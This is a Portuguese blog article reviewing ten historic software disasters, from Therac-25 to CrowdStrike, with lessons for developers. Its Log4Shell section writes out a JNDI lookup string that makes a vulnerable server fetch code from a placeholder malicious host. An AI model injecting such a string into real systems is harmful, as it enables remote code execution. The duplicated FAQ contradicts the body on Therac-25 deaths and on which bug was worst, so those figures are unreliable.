Pular para o conteúdo
Engenharia de Software

Os 10 Piores Bugs da Historia: De Therac-25

Software ja matou gente, quebrou empresas e parou o mundo inteiro. Esses 10 bugs sao os piores da historia — e cada um tem uma licao que todo dev deveria conhecer.

Aviso: esses bugs sao reais

Os 10 Piores Bugs da Historia: De Therac-25. Software ja matou gente, quebrou empresas e parou o mundo inteiro. Esses 10 bugs sao os piores da historia — e cada um tem uma licao que todo dev deveria conhecer.

Galera, software ja matou gente, ja quebrou empresas bilionarias e ja parou o mundo inteiro por um dia. E o pior: nenhum desses desastres precisava ter acontecido. Todos tinham solucoes simples que foram ignoradas.

Montei essa lista com os 10 piores bugs da historia do software. Nao e ranking de prejuizo financeiro (embora alguns estejam ai por isso tambem). E ranking de impacto real — em vidas, em confianca e em licoes que a industria deveria ter aprendido mas continua repetindo.

#1 Therac-25 — O bug que matou pacientes (1985-1987)

O Therac-25 era uma maquina de radioterapia canadense usada em hospitais nos EUA e Canada. Entre 1985 e 1987, pelo menos 6 pacientes receberam doses de radiacao massivamente acima do prescrito. Pelo menos 3 morreram diretamente por causa do bug.

O problema era uma condicao de corrida no software. Quando o operador digitava os comandos rapido demais — mudando de modo eletron pra modo raio-X em menos de 8 segundos — o software nao atualizava a posicao do colimador, mas ativava o feixe de alta energia. Resultado: radiacao direta no paciente sem nenhuma filtragem.

O Therac-25 foi projetado sem hardware de seguranca independente do software. Modelos anteriores (Therac-6 e Therac-20) tinham travas mecanicas que impediam overdose mesmo se o software falhasse. No Therac-25, os engenheiros removeram essas travas porque 'o software era seguro o bastante'. Spoiler: nao era.

Numeros do Therac-25

6 pacientes atingidos com overdose de radiacao entre 1985 e 1987

Doses ate 100x maiores que o prescrito

3 mortes diretamente atribuidas ao bug

O software era basicamente um port do Therac-20 — sem revisao de seguranca

Nenhum log de erro era mantido. Os operadores achavam que a maquina estava com 'mau contato'

A licao mais dura do Therac-25: software nunca deve ser a unica barreira entre um sistema perigoso e o usuario. Defesa em profundidade nao e opcional.

#2 Ariane 5 — US$ 370 milhoes em 37 segundos (1996)

4 de junho de 1996. O foguete Ariane 5 da Agencia Espacial Europeia explode 37 segundos apos o lancamento. Motivo: um float de 64 bits foi convertido pra um inteiro de 16 bits. O valor era grande demais, causou overflow, e o sistema de navegacao surtou.

O detalhe que deixa todo mundo de boca aberta: o codigo que causou o bug vinha do Ariane 4. Funcionava la porque a trajetoria do Ariane 4 nunca gerava valores altos o suficiente pra estourar o int16. Ninguem testou se os valores continuavam dentro do range no foguete novo.

O sistema de backup falhou pelo mesmo motivo — rodava o mesmo codigo. Sem navegacao, o foguete comecou a girar. O sistema de autodestruicao ativou. US$ 370 milhoes viraram fumaca na Guiana Francesa.

Numeros do Ariane 5

US$ 370 milhoes perdidos (o foguete + 4 satelites)

10 anos de desenvolvimento jogados fora no primeiro lancamento

Bug estava em 1 linha de codigo reutilizada do Ariane 4

O mesmo codigo rodava no backup — redundancia zero

Quer a historia completa? Tem um artigo dedicado: A Historia Nao Contada do Desastre do Ariane 5.

#3 Mars Climate Orbiter — O bug de unidades (1999)

A NASA perdeu uma sonda de US$ 125 milhoes porque um modulo enviava dados em libras-forca e outro esperava newtons. Sim, o software da Lockheed Martin usava unidades imperiais e o da NASA usava metricas. Ninguem validou a interface entre os dois.

A sonda chegou em Marte 170 km mais baixo do que deveria. Entrou na atmosfera e desintegrou. Meses de viagem e US$ 125 milhoes destruidos porque um requisito de interface nao foi checado.

Numeros do Mars Climate Orbiter

US$ 125 milhoes perdidos

O bug sobreviveu a 9 meses de viagem ate Marte

A equipe de navegacao notou anomalias mas nao escalou o alerta

Causa raiz: falta de teste de integracao entre os dois modulos

#4 Knight Capital — US$ 440 milhoes em 45 minutos (2012)

Em 1 de agosto de 2012, a Knight Capital Group deployou codigo novo nos seus servidores de trading. O deploy falhou parcialmente: 1 dos 8 servidores nao recebeu a atualizacao. Esse servidor ainda tinha codigo de teste ativo — um modulo chamado Power Peg que comprava e vendia acoes de forma agressiva.

Quando o mercado abriu, o Power Peg comecou a operar. Em 45 minutos, executou 4 milhoes de ordens em 154 acoes diferentes, acumulando posicoes que a empresa nao conseguia cobrir. Prejuizo total: US$ 440 milhoes. A empresa, que valia US$ 365 milhoes, faliu em dias.

O mais absurdo: o deploy foi feito manualmente, servidor por servidor, sem verificacao automatizada. A flag que ativava o Power Peg foi reutilizada pra uma funcionalidade nova, entao o servidor antigo interpretou a flag de forma errada.

Numeros da Knight Capital

US$ 440 milhoes perdidos em 45 minutos

4 milhoes de ordens executadas incorretamente

A empresa inteira valia US$ 365 milhoes — menos que o prejuizo

Deploy manual sem rollback automatico

Feature flag reutilizada sem limpeza de codigo legado

#5 Heartbleed — 2 anos de portas abertas (2012-2014)

O Heartbleed (CVE-2014-0160) foi um bug no OpenSSL que ficou escondido por 2 anos. O problema era simples: a implementacao do heartbeat do TLS nao validava o tamanho do payload. Voce mandava 'oi' e pedia 64KB de resposta. O servidor retornava 'oi' + 64KB de memoria aleatoria que podia conter senhas, chaves privadas, tokens de sessao.

O bug era de um commit feito por um contribuidor open-source em dezembro de 2011 e entrou no OpenSSL 1.0.1 em marco de 2012. So foi descoberto em abril de 2014. Nesse periodo, 17% de todos os servidores HTTPS do mundo estavam vulneraveis. Ninguem sabe quantas vezes foi explorado antes da divulgacao.

Numeros do Heartbleed

17% dos servidores HTTPS vulneraveis no momento da divulgacao

2 anos de exposicao antes da descoberta

O fix era uma checagem de tamanho de 1 linha

Gerou mudanca de senhas em massa em servicos como Gmail, Facebook e Yahoo

#6 Boeing 737 MAX MCAS — 346 vidas (2018-2019)

O sistema MCAS (Maneuvering Characteristics Augmentation System) do Boeing 737 MAX foi projetado pra corrigir automaticamente o angulo de ataque do aviao. O problema: ele dependia de um unico sensor de angulo de ataque. Se o sensor desse leitura errada, o MCAS empurrava o nariz do aviao pra baixo — repetidamente, sem que os pilotos conseguissem desativar de forma intuitiva.

Em outubro de 2018, o voo Lion Air 610 caiu na Indonesia. 189 mortos. Em marco de 2019, o voo Ethiopian Airlines 302 caiu na Etiopia. 157 mortos. Mesmo bug. Mesmo sistema. A Boeing sabia do problema do sensor unico e nao corrigiu.

A FAA descobriu depois que a Boeing tinha classificado o MCAS como sistema nao-critico pra evitar exigencias regulatorias mais rigidas. O resultado dessas decisoes foi 346 familias destruidas.

Numeros do Boeing 737 MAX

346 vidas perdidas em dois acidentes

MCAS dependia de apenas 1 sensor — sem redundancia

Pilotos nao foram treinados sobre o MCAS

A Boeing classificou o sistema como nao-critico intencionalmente

Frota inteira ficou no chao por quase 2 anos

#7 Log4Shell — A vulnerabilidade que ninguem esperava (2021)

Em dezembro de 2021, a CVE-2021-44228 abalou a internet. O Log4j, uma biblioteca de logging usada em praticamente todo software Java do planeta, tinha uma vulnerabilidade de execucao remota de codigo. Bastava enviar uma string no formato ${jndi:ldap://servidor-malicioso/exploit} em qualquer campo que fosse logado — header HTTP, campo de formulario, mensagem de chat.

A gravidade era maxima: CVSS 10.0. A superficie de ataque era absurda: servidores Minecraft, iCloud, Steam, Amazon, Twitter, LinkedIn — tudo que rodava Java e usava Log4j (que era quase tudo) estava vulneravel. E o fix nao era simples porque Log4j era dependencia transitiva de centenas de outras bibliotecas.

Numeros do Log4Shell

CVSS 10.0 — gravidade maxima

Mais de 35.000 pacotes Java afetados so no Maven Central

Exploits detectados em menos de 24 horas apos a divulgacao publica

O fix exigiu auditoria de arvores de dependencia inteiras

#8 CrowdStrike — 8,5 milhoes de PCs azuis (2024)

19 de julho de 2024. Uma sexta-feira que ninguem vai esquecer. Uma atualizacao de configuracao do sensor Falcon da CrowdStrike causou tela azul da morte (BSOD) em 8,5 milhoes de computadores Windows ao redor do mundo. Aeroportos cancelaram milhares de voos. Hospitais voltaram pro papel. Bancos pararam de operar.

O bug era um out-of-bounds read causado por um arquivo de configuracao (Channel File 291) que tinha mais campos do que o parser esperava. O sensor rodava em kernel mode — nivel mais baixo do Windows — entao qualquer crash era BSOD instantaneo. E a maquina nao conseguia dar boot normal porque o sensor carregava antes de tudo.

O fix era manual: dar boot em Safe Mode e deletar o arquivo C-00000291*.sys. Agora imagina fazer isso em 8,5 milhoes de maquinas, incluindo servidores em data centers sem teclado e monitor.

Numeros do CrowdStrike

8,5 milhoes de maquinas Windows afetadas

US$ 5,4 bilhoes em prejuizo estimado so para empresas Fortune 500

Mais de 5.000 voos cancelados no dia

Recovery manual maquina por maquina — sem fix remoto

A atualizacao nao passou por staged rollout

#9 Toyota — Aceleracao involuntaria (2005-2010)

Entre 2005 e 2010, varios modelos Toyota apresentaram aceleracao involuntaria — o carro acelerava sozinho mesmo com o motorista pisando no freio. A Toyota inicialmente culpou tapetes e pedais mecanicos, mas uma analise de peritos descobriu que o software do acelerador eletronico era uma zona de guerra.

O relatorio da Barr Group encontrou: mais de 10.000 variaveis globais, stack overflow potencial em varias funcoes, falta de protecao contra corrupcao de RAM e ausencia de watchdog independente pro throttle. O codigo C tinha tantos caminhos nao-testados que os peritos nao conseguiam garantir que o software era seguro em nenhuma condicao.

Numeros do caso Toyota

89 mortes reportadas a NHTSA relacionadas a aceleracao involuntaria

US$ 1,2 bilhao em multas federais

Recall de mais de 9 milhoes de veiculos

10.000+ variaveis globais no codigo do acelerador eletronico

Stack com margem de seguranca insuficiente em funcoes criticas

#10 Patriot Missile — 28 soldados mortos por precisao de float (1991)

Durante a Guerra do Golfo, o sistema de defesa Patriot Missile falhou em interceptar um missil Scud iraquiano em Dhahran, Arabia Saudita. O missil atingiu um quartel americano e matou 28 soldados em 25 de fevereiro de 1991.

O problema era acumulo de erro de ponto flutuante. O sistema usava um registrador de 24 bits pra representar o tempo em decimos de segundo. O valor 0.1 nao tem representacao exata em binario — fica 0.00011001100110011... (repetindo). Cada decimo de segundo, o sistema acumulava um erro de 0.000000095 segundos.

O Patriot de Dhahran estava ligado ha 100 horas. O erro acumulado era de 0.34 segundos. A essa velocidade, 0.34 segundos significam que o sistema apontava para 687 metros de distancia do alvo real. O Scud passou direto.

Numeros do Patriot Missile

28 soldados mortos

100 horas de operacao continua acumularam 0.34s de erro

0.34 segundos = 687 metros de erro na posicao do alvo

O fix era simples: reiniciar o sistema periodicamente ou usar aritmetica de maior precisao

O que todos esses bugs tem em comum

Olhando pros 10 casos, da pra ver padroes que se repetem. Nao e falta de inteligencia dos programadores. E falta de processos que previnem falhas humanas normais.

  1. Ponto unico de falha: Ariane 5 (backup com mesmo codigo), Boeing 737 MAX (sensor unico), CrowdStrike (kernel driver sem staged rollout)
  2. Reuso sem auditoria: Ariane 5 (codigo do Ariane 4), Therac-25 (port do Therac-20 sem travas de hardware)
  3. Validacao de input ausente: Mars Climate Orbiter (unidades), Heartbleed (tamanho do payload), Log4Shell (string JNDI)
  4. Deploy sem safety net: Knight Capital (manual, sem rollback), CrowdStrike (sem canary release)
  5. Acumulo silencioso de erro: Patriot Missile (float), Toyota (corrupcao de RAM sem watchdog)
  6. Classificacao de risco incorreta: Boeing 737 MAX (MCAS como nao-critico), Therac-25 (software como unica barreira)

Percebe o padrao? A tecnologia muda, as linguagens mudam, os dominios mudam — mas os tipos de erro sao os mesmos. E justamente por isso que estudar essas historias tem valor pratico: os proximos desastres vao ser causados pelas mesmas categorias de falha.

Licoes praticas pro seu codigo

Da pra aplicar as licoes desses 10 desastres no seu projeto hoje, mesmo que voce nao esteja lancando foguetes ou operando cirurgias. Aqui vai o que muda na pratica:

Checklist anti-desastre

  • Valide todas as entradas. Se voce nao sabe o range maximo de um input, descubra antes de escrever o codigo
  • Nunca reutilize codigo em contexto novo sem revisar as premissas originais
  • Deploy automatizado com rollback. Se um ser humano precisa lembrar de algo, vai esquecer
  • Staged rollout: 1%, 10%, 50%, 100%. Nunca 0% -> 100% de uma vez
  • Teste de integracao entre modulos de times diferentes. Unidade certa, interface errada = desastre
  • Nao confie em ponto unico. Backup que roda o mesmo codigo nao e backup
  • Trate overflow de inteiro como risco em qualquer calculo numerico
  • Dependencias transitivas precisam de auditoria. Voce nao sabe o que ta rodando no seu binario

Nenhum desses itens e complicado. O dificil e ter a disciplina de fazer sempre, em todo PR, em todo deploy. Mas olha pros 10 casos acima e pensa: valeria ter feito?

Perguntas frequentes

Qual foi o pior bug de software da historia?

Em termos de vidas perdidas, o Boeing 737 MAX e o mais grave: 346 mortes em dois acidentes. Mas o Therac-25 e considerado o caso mais emblematico porque o software era a unica barreira de seguranca e ninguem testou condicoes de corrida.

Esses bugs poderiam ter sido evitados?

Todos. Sem excecao. Cada um deles tinha uma solucao tecnica simples que foi ignorada: uma checagem de tipo, um teste de integracao, um staged rollout, uma validacao de input. O problema nunca foi falta de solucao — foi falta de processo.

O que o CrowdStrike mudou depois do incidente?

A CrowdStrike implementou staged deployment para atualizacoes de conteudo, adicionou validacao mais rigorosa nos Channel Files, e deu aos clientes mais controle sobre o ritmo de atualizacoes. A Microsoft tambem comecou a discutir se drivers de seguranca realmente precisam rodar em kernel mode.

Perguntas frequentes

Qual foi o pior bug de software da historia?

O Therac-25 e considerado o pior bug da historia porque matou diretamente pelo menos 6 pacientes entre 1985 e 1987. Uma condicao de corrida no software da maquina de radioterapia fez com que pacientes recebessem doses de radiacao ate 100 vezes maiores que o prescrito.

Quanto dinheiro o bug da Knight Capital perdeu?

A Knight Capital perdeu US$ 440 milhoes em apenas 45 minutos em agosto de 2012. Um deploy mal feito ativou codigo de teste em producao, que comecou a comprar e vender acoes de forma descontrolada. A empresa faliu e foi vendida dias depois.

O que aconteceu com o CrowdStrike em 2024?

Em 19 de julho de 2024, uma atualizacao defeituosa do sensor Falcon da CrowdStrike causou tela azul (BSOD) em 8,5 milhoes de maquinas Windows ao redor do mundo. Aeroportos, hospitais e bancos pararam. O prejuizo estimado foi de US$ 5,4 bilhoes so para as empresas Fortune 500.

O bug do Heartbleed foi corrigido?

Sim. O Heartbleed (CVE-2014-0160) foi corrigido em abril de 2014 com a versao 1.0.1g do OpenSSL. Porem, o bug ficou ativo por 2 anos antes de ser descoberto, e estima-se que 17% de todos os servidores HTTPS do mundo estavam vulneraveis no momento da divulgacao.

O que todos esses bugs tem em comum

Olhando pros 10 casos, da pra ver padroes que se repetem. Nao e falta de inteligencia dos programadores. E falta de processos que previnem falhas humanas normais. Percebe o padrao? A tecnologia muda, as linguagens mudam, os dominios mudam — mas os tipos de erro sao os mesmos. E justamente por isso que estudar essas historias tem valor pratico: os proximos desastres vao ser causados pelas mesmas categorias de falha.